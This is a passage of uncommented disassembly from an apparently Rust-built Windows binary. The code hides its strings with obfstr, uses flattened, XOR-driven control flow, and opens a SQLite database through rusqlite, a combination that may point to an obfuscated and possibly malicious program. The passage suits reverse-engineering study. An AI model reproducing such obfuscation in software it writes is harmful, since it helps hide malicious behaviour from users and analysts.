call sym.obfstr::xref::inner::h2f4c96030def1cda
mov r12, qword [rax]
movabs rcx, 0x2c1575f16ab6b193
xor r12, rcx
movzx ebp, byte [rax + 0xa]
mov rcx, rdi
movzx edi, word [rax + 8]
mov qword [rsp + 0x2f0], rcx
mov rax, rcx
sub rax, r13
cmp rax, 0xb
jae 0x14000ea45
mov rsi, r13
add rsi, 0xb
jb 0x140011ce4
mov rcx, qword [rsp + 0x2f0]
lea rbx, [rcx + rcx]
cmp rbx, rsi
cmovbe rbx, rsi
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rcx, rcx
je 0x14000eac4
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rcx
mov eax, 1
jmp 0x14000eac6
cmp r14d, 0xef1d1f24
jg 0x14000e830
cmp r14d, 0x9599cfb5
je 0x14000e926
cmp r14d, 0xe57a78ae
jne 0x14000e613
mov rax, rdi
sub rax, r13
mov rsi, qword [rsp + 0x150]
cmp rax, rsi
jae 0x14000ed5d
mov rbx, r13
add rbx, rsi
jb 0x140011ce4
lea rax, [rdi + rdi]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rdi, rdi
je 0x14000ecaf
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rdi
mov eax, 1
jmp 0x14000ecb1
cmp r14d, 0x104a160d
je 0x14000e8a2
cmp r14d, 0x4d44c711
jne 0x14000e613
lea rax, [0x1402b2e84]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x5b04449f4ef0b79
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::h3a99b7d8b5356f09
mov r12d, dword [rax]
mov rcx, rdi
movzx edi, byte [rax + 4]
mov rbp, rcx
mov rax, rcx
sub rax, r13
cmp rax, 5
jae 0x14000ea4e
mov rsi, r13
add rsi, 5
jb 0x140011ce4
lea rbx, [rbp*2]
cmp rbx, rsi
cmovbe rbx, rsi
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rbp, rbp
je 0x14000ec1e
mov rcx, rbp
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rbp
mov eax, 1
jmp 0x14000ec20
cmp r14d, 0xef1d1f25
je 0x14000e9bf
cmp r14d, 0xb167ca3
jne 0x14000e613
mov rax, rdi
sub rax, r13
mov rsi, qword [rsp + 0x158]
cmp rax, rsi
jae 0x14000ed8c
mov rbx, r13
add rbx, rsi
jb 0x140011ce4
lea rax, [rdi + rdi]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rdi, rdi
je 0x14000ecff
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rdi
mov eax, 1
jmp 0x14000ed01
lea rax, [0x1402b98ec]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6cb635c425a85c41
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::ha6ade2ba1119feab
movzx esi, word [rax]
mov rax, rdi
sub rax, r13
cmp rax, 1
ja 0x14000e5e6
mov rbx, r13
add rbx, 2
jb 0x140011ce4
lea rax, [rdi + rdi]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rdi, rdi
je 0x14000ea74
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rdi
mov eax, 1
jmp 0x14000ea76
lea rax, [0x1402b85a1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0xdfc377285785e83c
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::h46d9774a334b5be6
mov r12d, dword [rax]
movzx esi, byte [rax + 6]
mov rcx, rdi
movzx edi, word [rax + 4]
mov rbp, rcx
mov rax, rcx
sub rax, r13
cmp rax, 6
ja 0x14000ebc1
mov rbx, r13
add rbx, 7
jb 0x140011ce4
lea rax, [rbp*2]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rbp, rbp
je 0x14000eb6e
mov rcx, rbp
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rbp
mov eax, 1
jmp 0x14000eb70
mov ebx, 0xa259d834
mov esi, 1
test rdi, rdi
je 0x14000e9df
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, r15
call fcn.14014aabc
xor r13d, r13d
xor edi, edi
jmp 0x14000e616
mov rbx, qword [rsp + 0x100]
mov rbp, qword [rsp + 0x108]
mov rax, rdi
sub rax, r13
cmp rax, rbp
jae 0x14000ea57
mov rsi, r13
add rsi, rbp
jb 0x140011ce4
lea r12, [rdi + rdi]
cmp r12, rsi
cmovbe r12, rsi
cmp r12, 9
mov eax, 8
cmovb r12, rax
test rdi, rdi
je 0x14000edad
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x40], rdi
mov eax, 1
jmp 0x14000edaf
lea rsi, [r13 + 0xb]
jmp 0x14000eb1c
lea rsi, [r13 + 5]
jmp 0x14000ec71
mov rsi, r13
add rsi, rbp
jmp 0x14000ee00
cmp r14d, 0x56ea14c6
jne 0x14000e613
jmp 0x14000ee30
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000e5e0
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14000e5e6
jmp 0x140011cdb
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0xa0]
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000eb11
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14000eb1c
jmp 0x140011cdb
mov r15, rcx
mov qword [rsp + 0x2f0], rbx
mov eax, edi
xor al, 0x24
shr edi, 8
add dil, 0x80
movzx eax, al
movzx ecx, dil
shl ecx, 8
or ecx, eax
movd xmm0, ecx
xor bpl, 0xc9
mov qword [r15 + r13], r12
movd eax, xmm0
mov word [r15 + r13 + 8], ax
mov byte [r15 + r13 + 0xa], bpl
mov ebx, 0x260da27c
mov r13, rsi
mov rsi, r15
lea rbp, [rsp + 0xa0]
mov rdi, qword [rsp + 0x2f0]
jmp 0x14000e616
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0xa0]
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000ebbb
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14000ebc1
jmp 0x140011cdb
mov r15, rcx
mov rbp, rbx
mov eax, 0xa9438048
xor r12, rax
mov eax, edi
xor al, 0x4d
shr edi, 8
xor dil, 0x71
movzx eax, al
movzx ecx, dil
shl ecx, 8
or ecx, eax
xor sil, 0x17
movzx eax, sil
shl rax, 0x30
movzx ecx, cx
shl rcx, 0x20
or rcx, rax
or rcx, r12
mov dword [r15 + r13], ecx
mov rax, rcx
shr rax, 0x30
mov byte [r15 + r13 + 6], al
shr rcx, 0x20
mov word [r15 + r13 + 4], cx
add r13, 7
mov ebx, 0x9e8fb316
jmp 0x14000ec9c
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0xa0]
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000ec6b
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14000ec71
jmp 0x140011cdb
mov r15, rcx
mov rbp, rbx
xor dil, 0x89
movzx eax, dil
shl rax, 0x20
xor r12, 0x5f83ff91
or r12, rax
mov dword [r15 + r13], r12d
shr r12, 0x20
mov byte [r15 + r13 + 4], r12b
mov ebx, 0xa83ebfbf
mov r13, rsi
mov rsi, r15
mov rdi, rbp
lea rbp, [rsp + 0xa0]
jmp 0x14000e616
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000ed4f
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rsi, qword [rsp + 0x150]
je 0x14000ed5d
jmp 0x140011cdb
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000ed7e
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rsi, qword [rsp + 0x158]
je 0x14000ed8c
jmp 0x140011cdb
mov r15, rcx
mov rdi, rbx
mov rsi, qword [rsp + 0x150]
lea rcx, [r15 + r13]
mov rdx, qword [rsp + 0x140]
mov r8, rsi
call sym.memcpy
add r13, rsi
mov ebx, 0x70e3b71b
jmp 0x14000e613
mov r15, rcx
mov rdi, rbx
mov rsi, qword [rsp + 0x158]
lea rcx, [r15 + r13]
mov rdx, qword [rsp + 0x138]
mov r8, rsi
call sym.memcpy
add r13, rsi
mov ebx, 0x63822726
jmp 0x14000e613
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0xa0]
mov r8, r12
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14000edfa
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14000ee00
jmp 0x140011cdb
mov r15, rcx
mov rdi, r12
add r13, r15
mov rcx, r13
mov rdx, rbx
mov r8, rbp
call sym.memcpy
mov ebx, 0x5ed3eff4
mov r13, rsi
mov rsi, r15
lea rbp, [rsp + 0xa0]
jmp 0x14000e616
mov rdx, qword [rsp + 0x90]
cmp rdx, qword [rsp + 0x80]
jne 0x14000ee57
lea rcx, [rsp + 0x80]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h49d893b5445c7f1b
mov rdx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x88]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], r15
mov qword [rax + rcx*8 + 0x10], r13
inc rdx
mov qword [rsp + 0x90], rdx
mov r13, qword [rsp + 0xf0]
lea r15, [rsp + 0x258]
cmp qword [rsp + 0xf8], 0
je 0x14000eead
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp qword [rsp + 0x1e8], 0
je 0x14000eece
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x138]
call fcn.14014aabc
cmp qword [rsp + 0x1f0], 0
je 0x14000eeef
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x140]
call fcn.14014aabc
cmp byte [rsp + 0x340], 0x13
je 0x14000e330
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
jmp 0x14000e330
cmp eax, 0x65
jne 0x14000ef48
mov qword [rsp + 0x110], 0
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x118], 0
mov eax, 0xf94328d5
mov ebx, dword [rsp + 0x2e8]
xor ebx, eax
jmp 0x14000e27b
mov rdi, qword [rsi]
mov rcx, qword [rdi + 0x40]
movabs rdx, 0x8000000000000001
add rdx, 0xfffffffffffffffe
cmp rcx, rdx
jae 0x140011dfb
lea rdx, [rcx + 1]
mov qword [rdi + 0x40], rdx
test eax, eax
je 0x140011e07
mov rdx, qword [rdi + 0x50]
lea rcx, [rsp + 0x30]
mov r8d, eax
call sym.rusqlite::error::error_from_handle::h646d8dbc9edf6007
movzx ebx, byte [rsp + 0x30]
dec qword [rdi + 0x40]
cmp bl, 0x13
je 0x140011e0b
movzx edi, byte [rsp + 0x31]
lea rax, [rsp + 0x32]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x2e]
lea rax, [rsp + 0x342]
movups xmmword [rax + 0x2e], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x110], 0
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x340], bl
mov byte [rsp + 0x341], dil
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
jmp 0x14000ef35
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14000f247
mov r15, qword [rsp + 0x88]
shl rax, 3
lea r12, [rax + rax*2]
mov esi, 1
xor r13d, r13d
xor edi, edi
jmp 0x14000f07e
mov rsi, qword [rsp + 0x38]
mov byte [rsi + rdi], 0xa
inc rdi
mov qword [rsp + 0x40], rdi
add r13, 0x18
cmp r12, r13
je 0x14000f1e8
mov r14, qword [r15 + r13 + 8]
mov rbx, qword [r15 + r13 + 0x10]
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, rbx
jb 0x14000f0c9
add rsi, rdi
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sym.memcpy
add rdi, rbx
mov qword [rsp + 0x40], rdi
cmp rdi, qword [rsp + 0x30]
jne 0x14000f060
lea rcx, [rsp + 0x30]
mov rdx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h093945ba0e96482d
mov rdi, qword [rsp + 0x40]
jmp 0x14000f060
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h24ab4290410c667d
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
jmp 0x14000f095
lea rax, [0x1402b7c0f]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0xbd81ac7e22ea9f83
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::h24f26d16074eaf35
mov rdi, qword [rax]
movabs rcx, 0xcc2a6dbe1ebf7a89
xor rdi, rcx
mov rbx, qword [rax + 8]
movabs rcx, 0xf38dd4b7b2204370
xor rbx, rcx
mov r14, qword [rax + 0x10]
movabs rcx, 0x5a5815116a79177a
xor r14, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14000f179
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rsi, rax
mov eax, ebp
xor al, 0xec
shr ebp, 8
xor bpl, 0x34
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r14
movd eax, xmm0
mov word [rsi + 0x18], ax
lea rcx, [rsp + 0x3c0]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov edi, 0x1a
mov r14d, 0x1a
lea rbp, [rsp + 0xa0]
jmp 0x140010b76
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x140010b22
mov r15, qword [rsp + 0x88]
add r15, 8
mov r13, qword [rsp + 0xf0]
jmp 0x14000f22d
add r15, 0x18
dec rbx
je 0x140010b2a
cmp qword [r15 - 8], 0
je 0x14000f220
mov r8, qword [r15]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000f220
mov esi, 1
xor r14d, r14d
xor edi, edi
cmp qword [rsp + 0x80], 0
jne 0x140010b3d
jmp 0x140010b53
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::io::error::Error_::he1a1f231b7e07eb9
mov edi, 0xc18a0fe4
xor esi, esi
mov r12d, 1
xor r9d, r9d
xor eax, eax
cmp edi, 0x84f7d198
je 0x14000f3e8
nop dword [rax + rax]
cmp edi, 0xc18a0fe4
je 0x14000f2c0
cmp edi, 0xf8bf20aa
je 0x14000f4f1
xor edi, eax
cmp edi, 0x84f7d198
jne 0x14000f290
jmp 0x14000f3e8
mov rax, r9
sub rax, rsi
cmp rax, r13
jae 0x14000f310
mov r14, rsi
add rsi, r13
jb 0x140011ce4
lea rax, [r9 + r9]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 9
jae 0x14000f2ed
mov esi, 8
test r9, r9
je 0x14000f315
mov qword [rsp + 0x258], r12
mov rbx, r9
mov qword [rsp + 0x268], r9
mov eax, 1
jmp 0x14000f31a
mov rbx, r9
jmp 0x14000f380
mov rbx, r9
xor eax, eax
mov rdx, rsi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x180]
mov r8, rsi
mov r9, r15
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0x180], 0
mov rcx, qword [rsp + 0x188]
je 0x14000f369
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rsi, r14
je 0x14000f380
jmp 0x140011d94
mov r12, rcx
mov rbx, rsi
mov rsi, r14
nop word cs:[rax + rax]
lea rcx, [r12 + rsi]
mov rdx, qword [rsp + 0x318]
mov r8, r13
call sym.memcpy
add rsi, r13
mov eax, 0x457dde7c
mov r9, rbx
xor edi, eax
cmp edi, 0x84f7d198
jne 0x14000f290
jmp 0x14000f3e8
mov r12, rcx
mov r9, rsi
mov rsi, r13
mov r13, qword [rsp + 0xf0]
mov qword [r12 + rsi], rbx
mov dword [r12 + rsi + 8], ebp
add rsi, 0xc
mov eax, 0x7c48f132
lea rbp, [rsp + 0xa0]
xor edi, eax
cmp edi, 0x84f7d198
jne 0x14000f290
lea rax, [0x1402b4402]
mov qword [rsp + 0x258], rax
mov rcx, qword [rsp + 0x258]
movabs rax, 0xfee7a92a32cca7
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
mov r14, r9
call sym.obfstr::xref::inner::hd563c2386673ca92
mov r9, r14
mov rbx, qword [rax]
movabs rcx, 0x4d32c4cd0caec30a
xor rbx, rcx
mov ebp, dword [rax + 8]
mov eax, 0xa0c6ad18
xor ebp, eax
mov rax, r14
sub rax, rsi
cmp rax, 0xb
ja 0x14000f3c0
mov r13, rsi
add rsi, 0xc
jb 0x140011ce4
lea rax, [r9 + r9]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 9
jae 0x14000f471
mov esi, 8
test r9, r9
je 0x14000f48d
mov qword [rsp + 0x258], r12
mov qword [rsp + 0x268], r9
mov eax, 1
jmp 0x14000f48f
xor eax, eax
mov rdx, rsi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x180]
mov r8, rsi
mov r9, r15
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0x180], 0
mov rcx, qword [rsp + 0x188]
je 0x14000f3af
movabs rax, 0x8000000000000001
cmp rcx, rax
mov r9, r14
mov rsi, r13
mov r13, qword [rsp + 0xf0]
je 0x14000f3c0
jmp 0x140011d94
mov rdi, qword [rsp + 0x148]
test rdi, rdi
mov qword [rsp + 0x2e8], r9
mov qword [rsp + 0x130], rsi
je 0x14000f6ef
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0xe8]
movzx ecx, byte [rcx + rax]
test cl, cl
js 0x14000f5b0
mov rcx, qword [rsp + 0x3b0]
sub ecx, eax
test cl, 7
jne 0x14000f6e3
jmp 0x14000f554
add rax, 0x10
cmp rax, qword [rsp + 0x338]
jae 0x14000f57e
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rdx + rax + 8]
or rcx, qword [rdx + rax]
movabs rdx, 0x8080808080808080
test rcx, rdx
je 0x14000f550
cmp rax, rdi
jae 0x14000f6e6
nop word [rax + rax]
mov rcx, qword [rsp + 0xe8]
cmp byte [rcx + rax], 0
js 0x14000f6e6
inc rax
cmp rdi, rax
jne 0x14000f590
jmp 0x14000f6ef
lea rdx, [0x14032f944]
movzx edx, byte [rcx + rdx]
cmp edx, 4
je 0x14000f614
cmp edx, 3
je 0x14000f5df
cmp edx, 2
jne 0x14000f7e5
inc rax
cmp rax, rdi
jb 0x14000f6d1
jmp 0x14000f7e5
lea rdx, [rax + 1]
cmp rdx, rdi
jae 0x14000f7e5
mov r8, qword [rsp + 0xe8]
movzx edx, byte [r8 + rdx]
cmp rcx, 0xe0
je 0x14000f649
cmp ecx, 0xed
jne 0x14000f656
cmp dl, 0x9f
jle 0x14000f675
jmp 0x14000f7e5
lea rdx, [rax + 1]
cmp rdx, rdi
jae 0x14000f7e5
mov r8, qword [rsp + 0xe8]
movzx edx, byte [r8 + rdx]
cmp rcx, 0xf0
je 0x14000f683
cmp ecx, 0xf4
jne 0x14000f690
cmp dl, 0x8f
jle 0x14000f6a5
jmp 0x14000f7e5
and dl, 0xe0
cmp dl, 0xa0
je 0x14000f675
jmp 0x14000f7e5
lea r8d, [rcx + 0x1f]
cmp r8b, 0xc
jb 0x14000f66c
and cl, 0xfe
cmp cl, 0xee
jne 0x14000f7e5
cmp dl, 0xc0
jge 0x14000f7e5
add rax, 2
cmp rax, rdi
jb 0x14000f6d1
jmp 0x14000f7e5
add dl, 0x70
cmp dl, 0x30
jb 0x14000f6a5
jmp 0x14000f7e5
add cl, 0xf
cmp cl, 2
ja 0x14000f7e5
cmp dl, 0xc0
jge 0x14000f7e5
lea rcx, [rax + 2]
cmp rcx, rdi
jae 0x14000f7e5
mov rdx, qword [rsp + 0xe8]
cmp byte [rdx + rcx], 0xbf
jg 0x14000f7e5
add rax, 3
cmp rax, rdi
jae 0x14000f7e5
mov rcx, qword [rsp + 0xe8]
cmp byte [rcx + rax], 0xbf
jg 0x14000f7e5
inc rax
cmp rax, rdi
jb 0x14000f520
lea rbx, [rsp + 0x180]
mov rcx, rbx
mov rdx, qword [rsp + 0xe8]
mov r8, rdi
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h297887165894eb16
mov rax, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x188]
movabs rcx, 0x8000000000000001
dec rcx
mov rdi, qword [rsp + 0x190]
cmp rax, rcx
jne 0x14000f7d9
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
mov r9d, 1
call sym.rusqlite::inner_connection::InnerConnection::open_with_flags::h3edfb37a4063ec8c
cmp byte [rsp + 0x180], 0x13
jne 0x14000f8d2
lea rdx, [rsp + 0x188]
mov rax, qword [rdx + 0x10]
lea rcx, [rsp + 0x261]
mov qword [rcx + 0x57], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 0x47], xmm0
lea rax, [rsp + 0x288]
movups xmmword [rax], xmm6
mov qword [rsp + 0x260], 0
movups xmm0, xmmword [0x1402cf600]
movups xmmword [rcx + 0x17], xmm0
movups xmm0, xmmword [0x1402cf5f0]
movups xmmword [rcx + 7], xmm0
mov qword [rsp + 0x298], 0x10
mov qword [rsp + 0x2a0], 0
xor eax, eax
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
jne 0x14000f91e
jmp 0x14000f937
mov rdx, qword [rsp + 0x198]
mov cl, 5
jmp 0x14000f85e
test rdi, rdi
js 0x140011ce4
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14000f816
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011e46
mov qword [0x1403610c8], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14014aadc
test rax, rax
je 0x140011e46
mov rsi, rax
mov rcx, rax
mov rdx, qword [rsp + 0xe8]
mov r8, rdi
call sym.memcpy
mov rdx, qword [rsp + 0x398]
and rdx, 0xffffffffffffff00
mov cl, 7
mov rax, rdi
mov qword [rsp + 0x398], rdx
mov r8d, dword [rsp + 0x3b8]
mov r9d, dword [rsp + 0x3bb]
lea r10, [rsp + 0x261]
mov dword [r10 + 3], r9d
mov dword [r10], r8d
mov qword [rsp + 0x278], rdi
mov qword [rsp + 0x280], rdx
mov rdx, qword [rsp + 0x208]
lea r8, [rsp + 0x288]
mov qword [r8 + 0x10], rdx
movups xmm0, xmmword [rsp + 0x1f8]
movups xmmword [r8], xmm0
mov byte [rsp + 0x260], cl
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x258], 1
jmp 0x14000f940
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movups xmm2, xmmword [rsp + 0x1a0]
movups xmm3, xmmword [rsp + 0x1b0]
lea rax, [rsp + 0x260]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov eax, 1
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
je 0x14000f937
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rax, qword [rsp + 0x258]
test rax, rax
je 0x14000fa69
lea rax, [0x1402c2679]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x180]
mov rcx, qword [rsp + 0x180]
movabs rdx, 0x19e103c895a0bfd0
mov qword [rsp + 0x180], rdx
mov rdx, qword [rsp + 0x180]
call sym.obfstr::xref::inner::h17f48121070fc5d6
mov rdi, qword [rax]
movabs rcx, 0x3baf4a0859e5f87d
xor rdi, rcx
mov rbx, qword [rax + 8]
movabs rcx, 0x118037a38f2a4c9f
xor rbx, rcx
mov r14, qword [rax + 0x10]
movabs rcx, 0x41073895f9ffdf39
xor r14, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14000f9dc
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rsi, rax
mov eax, ebp
xor al, 0x7f
shr ebp, 8
xor bpl, 0xb8
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r14
movd eax, xmm0
mov word [rsi + 0x18], ax
lea rcx, [rsp + 0x260]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov edi, 0x1a
mov r14d, 0x1a
lea rbp, [rsp + 0xa0]
mov r8, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
jne 0x14000d371
jmp 0x14000d356
lea rax, [rsp + 0x260]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
lea rax, [0x1402bdd2a]
mov qword [rsp + 0x1f8], rax
lea rbx, [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0x90f9cdf920bd8c3c
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::h32567bb576a5330c
mov rcx, qword [rax]
movabs rdx, 0xd7c7df6143b742b1
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x44a79b20a956c7f4
xor rdx, r8
mov r8, qword [rax + 0x10]
movabs r9, 0xa05bb4f24fbbd8e1
xor r8, r9
mov r9, qword [rax + 0x18]
movabs r10, 0xbb4582320e766d90
xor r9, r10
mov r10, qword [rax + 0x20]
movabs r11, 0xa56bb9136b7b31d3
xor r10, r11
mov r11, qword [rax + 0x28]
movabs rsi, 0xd90960a59b7fb6d7
xor r11, rsi
movzx esi, byte [rax + 0x32]
movzx eax, word [rax + 0x30]
mov edi, eax
shr edi, 8
xor al, 0x4b
not dil
movzx eax, al
movzx edi, dil
shl edi, 8
or edi, eax
xor sil, 0xaa
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], rdx
